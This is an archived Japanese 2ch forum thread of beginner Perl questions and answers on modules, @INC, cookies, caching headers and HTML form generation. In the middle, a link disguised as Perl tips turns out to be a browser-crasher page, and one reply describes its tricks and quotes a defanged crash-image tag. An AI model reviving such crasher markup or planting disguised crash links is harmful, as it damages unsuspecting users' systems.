Perl コーディング初心者質問コーナー Part35
■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん
04/05/26 16:48ID:kkhhiYmo【投稿する際の注意】
質問するときは内容をよく吟味してから投稿してください。
「コマンドの意味がわかんない」とかはマニュアル見ましょう。
回答者さんは何でも屋じゃありません。
1: 自分はこう言う事がしたい。
2: それでこんな風にやってみたが・・・
3: こんなエラーが出て上手く行かなかった。
最低でも1と3が無いと誰も答えられないよ。
ソース貼る時は、全角スペースでインデント忘れずに。
良い回答は良い質問から。一緒に勉強しましょう。
過去ログやお勧めサイトは >>2-10
0452440
04/06/23 01:16ID:???0453nobodyさん
04/06/23 01:19ID:???0455nobodyさん
04/06/23 02:03ID:???各サブルーチンをスクリプト内に全部記述するのと、
それぞれにライブラリファイルを作成して必要なときのみrequireで読み込むのとどっちがいいんでしょうかね?
いまいち意味不明っぽいですが、つまりは
if ($bar) {
require "hogehoge.pl";
&hogehoge::foo(\$bar);
}
と
if ($bar) { &foo(\$bar); }
のどっちがいいのでしょうか?
0456nobodyさん
04/06/23 02:07ID:???0457nobodyさん
04/06/23 02:26ID:???レスありがとうございます。
使い分け、頭の片隅に置いておきます。
まだまだ常時考えながらはコード書けませんです、はい。
もう少し色んなこと考えながらコード書かないとだめだなぁ…
0459nobodyさん
04/06/23 05:27ID:???http://pc5.2ch.net/test/read.cgi/php/1063562491/861
0460nobodyさん
04/06/23 10:31ID:???4<>あ<>20:02<>
2<>き<>08:41<>
このように並んでいるテキストを、入力された数値によってソートしたいのですが
今は
if($num==1){ };
if($num==2){ };
if($num==3){ };
みたいに書いてるのですが、もっとスマートなやり方は無いでしょうか?
0461nobodyさん
04/06/23 11:41ID:???ちゃんと説明しろ
0462nobodyさん
04/06/23 11:44ID:???見たいにハッシュにぶち込んで、
foreach my $num (sort( keys %data)){
#$data{$num} の処理
}
にする
0464nobodyさん
04/06/23 18:02ID:???さあ帰った帰った。
0466nobodyさん
04/06/23 21:04ID:???$a = $ENV{'HTTP_COOKIE'};
@a = split /\;/,$a;
foreach(@a){
(my $a , my $b) = split /=/;
$form{$a} = $b ;
}
クッキーの中にNAME=VALUEが一つだけでも複数あっても大丈夫のようにしたいんだけど、↑ので
合ってる?一つの場合は@aの中には$aがそのまま入るから一応大丈夫だと思うけど、
ここのお墨付きをもらいにきた。
0467nobodyさん
04/06/23 21:16ID:???チェックぐらい自分でしろ。
http://www.studyinghttp.net/cookies.html
0469nobodyさん
04/06/23 21:39ID:???さあ帰った帰った。
0472440
04/06/23 21:44ID:???>さあ帰った帰った。
ってまるで、ここがあなたの居場所みたいな言い方ですけど、
ここがあなたの居場所なんですか?
0473nobodyさん
04/06/23 21:44ID:???0477nobodyさん
04/06/23 21:47ID:???0480nobodyさん
04/06/23 21:50ID:???ここは質問スレなんだから、喧嘩はよそでやってくれ。
0482466
04/06/23 21:54ID:???おまいは>>469-470だろ?でもまあ俺は単純だから、俺より詳しそうなおまいに
okを出してもらえば、それで安心だよ。ありがとね。
>>467でくれたサイトもいいとこみたいだから見に行くよ。それじゃ。ごめんね。
0483480
04/06/23 21:56ID:???俺にはここに俺ともう二人しかいないようにしか思えないんだが・・・・
そして俺以外の二人に向けて言ったんだけど、まあとりあえず早く正常に戻そうよ。
それでは次の質問どぞ↓
0484440
04/06/23 21:57ID:???いつになったら答えてくれるんですか?恥ずかしくて答えられませんか?
0485nobodyさん
04/06/23 22:10ID:???0486nobodyさん
04/06/23 22:20ID:???ここに解説がある。
http://www2.strangeworld.org/uedakana/perl_tips105.txt
0487nobodyさん
04/06/23 22:22ID:???質問者も悪いが、すぐムキになる回答者もどうかと。
っていうかこのスレの回答者は特有だね。
母親に向かってすぐ「くそババァ!」って連呼するタイプの人間だな。内弁慶っていうかな。
0490nobodyさん
04/06/23 22:53ID:???0491nobodyさん
04/06/23 23:08ID:???俺がくらったじゃねえかよ!マジで鬱・・・・何のウイルス?
色々探したが見つからなかった・・・・ウイルス対策なしの俺がここのURLを見に行くなんて
しくじった。
perl_tipsっていかにも正当な名前なのに。マジで直し方教えてくれ。
0492nobodyさん
04/06/23 23:33ID:???0494491
04/06/24 00:04ID:???ありがとう・・・・スキャンかけたいけど、っていうか対策ソフトいれたいけど、c:\が残り
50MBしかないから・・・・
とりあえず、ブラクラ系みたいなのでほっとしてる。変な症状もないし、スタートアップにも
新しい奴なかったからほっとく。
それにしても何故にこのスレでトロイの木馬が貼られてるんだよ・・・・・そんなに憎悪を抱いたのか?
0496nobodyさん
04/06/24 01:29ID:???ソース見てみたが、ウィルスではないと思うぞ。
<meta http-equiv="Refresh" content="0">と、
コンコンクラッシャーとメールストーム。
ただし、
<img src="http:// www. raus. de/ crashme/">
の部分が完全一致でをウィルスとして認定するらしい。
(全角スペースを空けて反応しないようにしてある)
0497491
04/06/24 02:23ID:???ありがと。その優しさに軽く感動;;
俺実は2回踏んだのね。一度目はセキュリティ中のままで行ったらいきなり画面が真っ青になって
例外なんとかってやつが出て再起動して、レジストリ修復してセーフであげてscandiskとかした後、
普通に立ち上げたらとくには問題ないみたいだった。
2回目はそのソースをブラクラチェッカにかけてみたけど、そのチェッカの使い方がわからずに、セキュリティを
最高に挙げて愚直にトライ。結果同じ症状で再起動した後、同じ事やって今の状況・・・・・・
俺の場合ウイルスのとこに行く前に、例外発生画面になった気がする。クリック1秒未満で画面が何も変化
ないまま次の画面は青い例外発生画面だったから。
ほんと優しくしてくれてありがと。癒されたぽ
0498491
04/06/24 03:13ID:???これだったみたい。一応オンラインのウイルススキャンかけてみたら
このウイルスがテンポラリファイルから4つ検出された。とりあえず危険なものではなくて「ほっ」・・・・
0499nobodyさん
04/06/24 10:36ID:???- - - - - Perl コーディング初心者質問コーナー Part35 - - - - -
0500nobodyさん
04/06/24 18:54ID:???警告:ページの有効期限切れ
というメッセージが出るのですが、それが出ないサイトもあるみたいですが、
それはどういう方法を使ってるのですか?PERLでのやりかたが知りたいので教えて下さい。
0501nobodyさん
04/06/24 18:59ID:???0502nobodyさん
04/06/24 19:10ID:???0504500
04/06/24 20:31ID:???キャッシュの制御を<meta>で変えればいいのですか?
>>502
HTTPのヘッダーの辺りということでしょうか?
>>503
getだとできるんですね!getの時はブラウザの戻る、進むでクエリ付きURLだから
そのまま処理をしてくれるということみたいですね。
postの場合は標準入力から読みこむ。それで、postで送ったフォームデータは
セキュリティ上の都合でブラウザ?のデフォルト設定が自動再送信しないようになって
いるんですよね?HTTPのヘッダに何かを追加すると、その設定が変えられるというわけでしょうか?
0505nobodyさん
04/06/24 20:37ID:???0506nobodyさん
04/06/24 20:38ID:???結局違うくて、ノーキャッシュだったと思うんだがなぁ
兎に角何でもかんでも1から10まで全部他人に頼ろうと思わず、
与えられた情報を自分で試す努力しろっての
0507nobodyさん
04/06/24 20:41ID:???0508nobodyさん
04/06/24 21:30ID:???一応header関連だった気がするが、cgiの出力をキャッシュさせるかどうかは
pragma
expires
cache-control
他にもなんかあった気がするけど、HTTPサーバによっては-nphで自分で一からheader
を設定しないと、勝手にno-cacheを吐き出すよ。たしかね。
どうだったっけかな。思い出せない。
0509500
04/06/24 21:56ID:???print "Content-type:text/html\n";
print "Expires:Sun, 06 Nov 2005 08:49:37 GMT"."\n\n";
このようにしてみましたが、効果なしでした。かなり高度なテクニックなんですかね?
0510nobodyさん
04/06/24 22:11ID:???0511nobodyさん
04/06/24 22:13ID:???おまいには悪いが、誰もわからない悪寒・・・・・・・
ついでに>>507のいうようにスレ違いぽ
まあ一応
PERLでどうコーディングしたら出力がUAにキャッシュされるか
という質問みたいだからあながち的ハズレなスレ選びではないが。
どっちにしろ様子をみてる限りではわかる人は今のとこ、まだ来てないんじゃないか?
結局自力で調べるしかない。ガンガレ
0512500
04/06/24 22:19ID:???シェア90%を誇るIEだけクリアできれば満足なんですが、やはり難しいんですね。
cgiの使い勝手のよさを上げようと思っただけなので、無理でも一応機能的には影響はないです。
>>511
応援ありがとうございます。頑張ります!
0513nobodyさん
04/06/24 22:48ID:???いいページ見つけた。俺も後で読んでみるよ。
0515nobodyさん
04/06/24 23:10ID:???心配なときは、一旦グーグルに入れればいいのだ。
0516nobodyさん
04/06/25 02:44ID:???うまくいかない。
コマンドプロンプトで
d:\perl\bin>perl -c ファイルへの絶対パス
でやってるけど、useがないものならうまくいくけどuseがあると何故かuseしてる行数に
エラーがあるって出力される。
実際にhttpdで表示させると問題なくできるやつだから、何が悪いのかわかんない・・・・
もしかしてActivePerlの文法チェク機能ってuseでモジュール読みこんでるとしくじるの?
ちなみにモジュールは自前のPERLだけで書いた簡単なやつ。
誰か何か知ってたら教えて下さい。
0517nobodyさん
04/06/25 04:06ID:???>>1より抜粋
3: こんなエラーが出て上手く行かなかった。
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
最低でも1と3が無いと誰も答えられないよ。
0520nobodyさん
04/06/25 11:04ID:???0521nobodyさん
04/06/25 13:49ID:???@Time = gmtime( time + 60 * 60 * 9 );
$Time[5] += 1900;
$Time[4] += 1;
ってしたときに、
sprintf( "%04d/%02d/%02d", @Time[5..3] );
がやりたかったんだけど。。
こういう場合って羅列するしかないんですかね?
0522516
04/06/25 14:04ID:???useしてるものは自作のモジュールって書いたし。
エラーはuseが書いてある行数のとこで出てるって書いたけど、エラーの内容も出力されてるはずだから
それを出せってことかな?
ごめん。今からエラー文そのままあげます。
0523nobodyさん
04/06/25 14:20ID:???俺は今日初カキコだが、>>517と同じことを思ったよ。
>useしてるものは自作のモジュールって書いたし。
ってあるけど、最後におまけのように書いてあるだけじゃん。普通に見落とすよ。
要するに質問の仕方がド下手糞ってことだ。
あるスクリプトを-cオプションでチェックするとエラーがでます。
環境は、Win98 + ActivePerl version○○です。
↓のようなスクリプトで、
---hoge.pl---
1: #!/usr/bin/perl
2: use mymodule; # 自作モジュール(簡単なPurePerlライブラリ)
------------
C:\>perl -c hoge.pl
とすると、
○○○ at hoge.pl line 2.
と出ます。
でも、CGIとしてhttpdに実行させると問題なく動きます。
もしかしてActivePerlの-cオプションはuseでモジュール読みこんでると失敗するのですか?
まず何を調べるべきでしょうか?
0525nobodyさん
04/06/25 14:46ID:???0526516
04/06/25 14:57ID:???ごめん。
D:\Perl\bin>perl -c C:\WINDOWS\デスクトップ\HTTPD1~1\CGI-BIN\TEST\B.CGI
これをやったら↓のエラーがでた。
Can't locate Test1.pm in @INC (@INC contains: D:/Perl/lib D:/Perl/site/lib .) at
C:\WINDOWS\デスクトップ\HTTPD1~1\CGI-BIN\TEST\B.CGI line 3.
BEGIN failed--compilation aborted at C:\WINDOWS\デスクトップ\HTTPD1~1\CGI-BIN\TEST\B
.CGI line 3.
b.cgiの中身は↓
#!/usr/local/bin/perl
push( @INC, 'C:\WINDOWS\デスクトップ\httpd142k\cgi-bin\test\Test1.pm' );
use Test1;
print "Content-type:text/html\n\n";
print "aiueoi";
useしているTest1.pmの中身は↓
package Test1;
#京
sub new{
my $self = shift;
my $obj = {a => 1 , b => 2};
bless $obj,$self;
}
1;
モジュールだけ-cに書けるとエラーはでないのでモジュール側には問題なしかと。
0527516
04/06/25 15:51ID:???b.cgiを書き換えてみたけど、
package main;
BEGIN {
push( @INC, '/Test1.pm' );
}
use Test1;
print "Content-type:text/html\n\n";
print "aiueoi";
まだエラーだった。
Can't locate Test1.pm in @INC (@INC contains: D:/Perl/lib D:/Perl/site/lib . /Te
st1.pm) at C:\WINDOWS\デスクトップ\HTTPD1~1\CGI-BIN\TEST\B.CGI line 9.
BEGIN failed--compilation aborted at C:\WINDOWS\デスクトップ\HTTPD1~1\CGI-BIN\TEST\B
.CGI line 9.
@INCへの追加が失敗していて、読みこむファイルのパスが見つからないってことだよね?
0528nobodyさん
04/06/25 16:18ID:???ああなるほど、こりゃ確かに >>516 の質問の仕方が悪い。
どうすればいいかを教えるのは簡単だが、その前に一つ質問に答えてくれ。
なんでまた、
「@INC に push しさえすればサーチパスを追加できる」
なんてことを考えたんだ?
0529nobodyさん
04/06/25 17:01ID:???か、Perl/libに入れるとか
0530516
04/06/25 17:25ID:???http://www.rfs.jp/sitebuilder/perl/
ここの@INCの説明にpushすればいいて書いてあったんだけど、意味を勘違いして受け取ったのかも;
それで
http://nonki.net/technical/perl/library/
ここの
>@INCに手動で追加する
っていうところ読んで、BEGINしてみたけどそれも間違ってたのかも;
>>529
use lib;
の一行を足してみたけど、駄目だった。それでプログラムが置いてあるフォルダに移動して
C:\WINDOWS\デスクトップ\httpd142k\cgi-bin\test>perl -c C:\WINDOWS\デスクトップ\HTTPD1~1\
CGI-BIN\TEST\B.CGI
をやったら
C:\WINDOWS\デスクトップ\HTTPD1~1\CGI-BIN\TEST\B.CGI syntax OK
成功した!感激!
Perl/libに入れるというのはプログラムをそのフォルダに入れとくって事?やってみたら
同じエラーがでた。
本当は@INCにどうやって追加すればいいんでしょうか?beginもうまくいかないし;
後、文法チェックでは>>526で書いたプログラムはエラーだけど、httpdで
http://localhost/cgi-bin/test/b.cgi
でやると問題なく動作するけど、サーバではエラーになるんですか?
まだサーバと契約してないから、試せない。
0531田舎者 ◆BNNnMrNVbI
04/06/25 17:26ID:???0532田舎者 ◆o0/tSn5Zoc
04/06/25 17:27ID:???0533nobodyさん
04/06/25 17:34ID:???内部的にはコンパイル言語であり、そう認識しないと往々にして罠にはまる。
その罠の一つが use によるライブラリの読み込み。
use で指定したライブラリは、実行時ではなく、コンパイル時に読み込まれる。
たまに if($a==1){ use Foo::Bar;} なんてことをやる人がいるが、
この Foo::Bar はif条件に関係なく必ず読み込まれる。
同様に、初心者は push(@INC,'/hoge/fuga'); use Foo::Bar; と書くことで
@INC にパスを追加してから Foo::Bar を読み込んでくれる、と考えがちだが、
実際には コンパイル→Foo::Bar読み込み→実行→push の順で処理されるので、
Foo::Bar 読み込み時にはまだ @INC にパスが追加されておらず、エラーになる。
このような場合には、push ではなく、use lib を使う。
use lib '/hoge/fuga' と書いておくと、これがコンパイル時に処理されるので、
この時点で @INC に /hoge/fuga が追加され、そこから Foo::Bar を読んでくれる。
0534516
04/06/25 17:49ID:???ありがとうございます!今
use lib "C:\WINDOWS\デスクトップ\httpd142k\cgi-bin\test";
を初めに追加してエラーだったので、
use lib 'C:\WINDOWS\デスクトップ\httpd142k\cgi-bin\test';
にしたら成功しました!シングルクォーテーションじゃないといけないんですね。
lib.pmがBEGINもやってくれてるんですね。
ところで、文法チェックの時以外でもlibを使って自作のモジュールを読みこむ必要が
あるんでしょうか?
モジュールを読みこむとそれだけ処理にかかる時間が増えますよね。なるべく軽くしたいのですが、
やはり自作モジュールをuseするプログラムには初めにlibでやっておいたほうがいいですか?
0535516
04/06/25 17:52ID:???BEGIN {
push @INC,'C:\WINDOWS\デスクトップ\httpd142k\cgi-bin\test';
}
をlibの変わりに書いたら、エラーがでないで文法チェックokでした!
どちらでも好きな方でやればいいってことですよね。
0537nobodyさん
04/06/25 19:54ID:???ダブルクォーテーションは \ を特別に扱う話を聞いたことはないか?
print "\n"で何が出力される?
print '\n'で何が出力される?
0539nobodyさん
04/06/25 21:02ID:QWdt1cChラジオボタンは
<INPUT name="color" type="radio" value="#758CEA">
<FONT color="#758cea">■</FONT>
のようになっておりcheckedを入れることができればOKなわけですよね。
関係演算子を使ってもcheckedを入れるような方法が思いつきません。
どなたかアドバイスお願いします。
0541nobodyさん
04/06/25 21:14ID:QWdt1cChココ以外には思いつかないのですが、どの辺を出せばよろしいでしょうか?
複数のラジオボタンからクッキーにあった一個を選ぶと言うものですが。
クッキーから前回使った色の読み込みはできます。
0543516
04/06/25 21:53ID:???俺ならそのラジオボタンの部分を全部PERLで動的に作成するかな。
$ENV{'HTTP_COOKIE'}の中身を条件文にかけて、$taguの中に何を入れるか決める。
それでできるよ。
例)
$cook = \$ENV{'HTTP_COOKIE'};
if ($cook eq "758cea" ) {
$tagu = qq|<INPUT name="color" type="radio" value="#758CEA" checked>|.
qq|<INPUT name="color" type="radio" value="#000000">|;
}elsif($cook eq "000000"){
〜
}else{〜}
とか。ちょっとブサイクなコーディングだけど、後は自分でもう少し処理を軽くするといいよ。
0544516
04/06/25 21:54ID:???0545516
04/06/25 22:03ID:???修正も兼ねてもっと簡単に。
if ( $ENV{'HTTP_COOKIE'} eq "hogehoge" ) {$c1 = "checked";}
elsif(〜){$c2 = "checked";}else{〜}
それで
<INPUT name="color" type="radio" value="#758CEA" $c1>
<INPUT name="color" type="radio" value="#758CEA" $c2>
でいいね。
0547nobodyさん
04/06/25 22:15ID:???758CEA
000000
:
:
:
/; # 必要数並べる。
my %Color;
# $Color{'758CEA'} = ' checked';
# $Color{'000000'} = ''; のように成るように久喜をパージングしる。
foreach (@Color_key){
printf qq|<INPUT name="color" type="radio" value="#%s"%s>|, $_, $Color{$_};
printf qq|<span style="background: transparent; color:#%s">■</span>|, $_;
}
0548nobodyさん
04/06/25 22:28ID:???まあほとんどの場合は undef が空文字列として展開されると期待されるだろう
漏れなら Template Kit 使うけど
0549516
04/06/25 22:30ID:???初めに
$c1 = "";
$c2 = "";
をしておく。
if文とかの制御構文はある程度勉強しておくといいよ。ちなみに>>545の場合
真がでてそのブロック処理をした時点でそれ以降の処理はおこなわれない。
0550nobodyさん
04/06/25 23:03ID:???%COLOR_NUM = (1 => "#000000", 2 => "#FF0000", 3 => "#008040", 4 => "#0000FF", 5 => "#C100C1", 6 => "#FF80C0", 7 => "#FF8040");
print <<"EOF";
<TD>Color:</TD><TD><SELECT name="color" style="width : 40px;">
EOF
foreach (sort keys %COLOR_NUM) {
if ($COOKIE{"color"} eq $COLOR_NUM{$_}) {
$selected = " selected";
} else {
$selected = "";
}
print "<OPTION value=\"$COLOR_NUM{\"$_\"}\" style=\"color : $COLOR_NUM{\"$_\"};\"$selected>■</OPTION>\n";
}
print <<"EOF";
</SELECT></TD>
EOF
0551nobodyさん
04/06/25 23:19ID:???まぁ似てるからいいか。
0552nobodyさん
04/06/26 04:58ID:???$hash{abcde}
今はこのように長くても5文字位に抑えてますが、できるだけわかりやすい名前をつけたいので
多少長く10文字くらいになってしまいそうになるのですが、重くなったりしそうで不安です。
みなさんはハッシュのキーを何文字くらいに収めようとしていますか?
■ このスレッドは過去ログ倉庫に格納されています